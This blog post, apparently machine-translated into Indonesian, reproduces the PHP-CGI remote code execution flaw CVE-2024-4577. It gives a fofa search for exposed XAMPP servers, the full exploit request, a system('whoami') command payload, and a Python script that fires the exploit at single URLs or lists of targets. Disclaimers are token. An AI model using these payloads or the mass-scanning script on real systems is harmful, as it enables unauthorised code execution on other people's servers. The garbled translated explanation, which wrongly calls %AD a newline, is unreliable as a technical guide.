Berbagi teknologi

[Kerentanan Berulang] PHP-CGI——Paling Sesuai—Eksekusi Kode (CVE-2024-4577)

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Penafian: Dokumen atau materi presentasi ini hanya untuk tujuan pendidikan dan pengajaran. Setiap individu atau organisasi yang menggunakan informasi dalam dokumen ini untuk kegiatan ilegal tidak ada hubungannya dengan penulis atau penerbit dokumen ini.


Deskripsi kerentanan

PHP-CGI adalah antarmuka untuk menjalankan skrip PHP di server Web, menghubungkan interpreter PHP ke server Web melalui CGI (Common Gateway Interface). PHP dirancang untuk mengabaikan konversi karakter di WindowsBest-Fitfitur, ketika PHP-CGI berjalan pada platform Window dan menggunakan bahasa berikut (Cina Sederhana 936/Cina Tradisional 950/Jepang 932, dll.), penyerang dapat membuat permintaan jahat untuk melewati CVE-2012-1823 patch, sehingga memungkinkan penyerang untuk melewati patch CVE-2012-1823 tanpa login. mengeksekusi kode PHP arbitrer.

Pengulangan kerentanan

1) Pengumpulan informasi
fofa:app="XAMPP"
Masukkan deskripsi gambar di sini
Kami adalah sekelompok orang malang yang selalu berjuang melawan bahaya dan kegilaan, tapi kami juga penjaga.
Masukkan deskripsi gambar di sini
2) Membangun paket data

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host:ip

<?php echo "hello world!";?>
  • 1
  • 2
  • 3
  • 4

Penjelasan kode:

/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
  • 1

Payload ini adalah vektor serangan PHP Remote Command Execution (RCE) berkode URL yang mengeksploitasi opsi konfigurasi PHP CGI untuk mencapai eksekusi kode jarak jauh. Berikut penjelasan detail payloadnya:

  1. /php-cgi/php-cgi.exe:

    • Ini adalah jalur yang diminta, menunjuk ke file eksekusi PHP CGIphp-cgi.exe . PHP CGI adalah penerjemah PHP yang tidak bergantung pada server web, biasanya digunakan pada baris perintah atau dijalankan sebagai skrip CGI.
  2. Pengkodean URL:

    • %ADadalah karakter baris barunSuatu bentuk pengkodean URL, biasanya digunakan untuk menyisipkan baris baru ke dalam URL, yang dalam beberapa kasus dapat digunakan untuk melewati pemfilteran masukan.
    • %3dYa=Bentuk pengkodean URL, digunakan untuk memberikan nilai pada variabel.
  3. ?%ADd+cgi.force_redirect%3d0:

    • Coba atur di sinicgi.force_redirect Nilai 0 menonaktifkan perilaku pengalihan PHP CGI. Ini biasanya digunakan untuk mencegah skrip PHP melompat secara otomatis ke URL asli yang diminta setelah eksekusi.
  4. +%ADd+cgi.redirect_status_env:

    • Bagian ini mungkin merupakan pengaturannyacgi.redirect_status_env , adalah arahan dalam konfigurasi PHP yang digunakan ketika PHP dijalankan sebagai proses CGI atau FastCGI. .
  5. +allow_url_include%3d1:

    • Tetapkan di siniallow_url_include Nilai 1 memungkinkan skrip PHP memasukkan file dari URL. Ini merupakan potensi risiko keamanan karena memungkinkan penyerang memasukkan file jarak jauh melalui jalur file yang diteruskan dalam URL.
  6. +auto_prepend_file%3dphp://input:

    • mempersiapkanauto_prepend_fileuntukphp://input . Opsi konfigurasi ini memungkinkan penyertaan file secara otomatis sebelum menjalankan skrip PHP.Saat diatur kephp://input , itu akan berisi data yang dikirim melalui permintaan HTTP POST. Ini dapat digunakan untuk mengeksekusi kode PHP arbitrer, karena penyerang dapat mengirimkan kode berbahaya melalui permintaan POST.

Dengan membuat payload ini, penyerang mencoba mengeksploitasi opsi konfigurasi PHP CGI untuk mengeksekusi kode jarak jauh.dengan mengaturallow_url_includeDanauto_prepend_file, penyerang dapat mengirimkan permintaan POST yang berisi kode PHP, yang akan dieksekusi secara otomatis.

Masukkan deskripsi gambar di sini
gemahello world, kodenya diurai.
3) Operasi lain juga dapat dilakukan
Menjalankan perintah

<?php system('whoami');?>
  • 1

Masukkan deskripsi gambar di sini
Perhatian: Ribuan orang, jangan, jangan, jangan melakukan hal-hal ilegal! ! !

alat tes

orang kulit hitam

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入requests库,用于发送HTTP请求
import requests
# 导入argparse库,用于处理命令行参数
import argparse
# 从requests.exceptions导入RequestException,用于捕获请求异常
from requests.exceptions import RequestException
# 从urllib3.exceptions导入InsecureRequestWarning,用于禁用不安全请求警告
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色控制字符
# 打印颜色
RED = '033[91m'
RESET = '033[0m'

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。
    
    :param url: 待检查的URL字符串
    """
    try:
        # 构造攻击URL,利用漏洞进行尝试
        attack_url = url.rstrip('/') + "//php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        # 设置请求头信息
        headers = {
            'User-Agent': 'curl/8.3.0',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        # 设置请求体数据
        payload = "<?php echo '666666';?>"
        # 向服务器发送请求
        response = requests.post(attack_url, headers=headers, data=payload, verify=False, timeout=10)
        # 检查响应,如果状态码为200且响应体包含特定字符串,则判断为存在漏洞
        if response.status_code == 200 and '666666' in response.text:
            print(f"{RED}URL [{url}] 存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。{RESET}")
        else:
            print(f"URL [{url}] 未发现漏洞。")
    except RequestException as e:
        # 如果请求过程中发生异常,打印异常信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口。
    
    解析命令行参数,根据参数执行漏洞检查。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检查目标URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。')
    # 添加URL参数,指定目标URL
    parser.add_argument('-u', '--url', help='指定目标URL')
    # 添加文件参数,指定包含多个URL的文本文件
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果指定了URL参数
    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        # 调用漏洞检查函数
        check_vulnerability(args.url)
    # 如果指定了文件参数
    elif args.file:
        # 打开文件,读取每行作为URL进行检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 处理URL,确保其以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                # 调用漏洞检查函数
                check_vulnerability(url)

if __name__ == '__main__':
    main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82

Jalankan tangkapan layar
Masukkan deskripsi gambar di sini


Teratai kecil baru saja memperlihatkan sudut tajamnya, dan seekor capung telah berdiri di atasnya.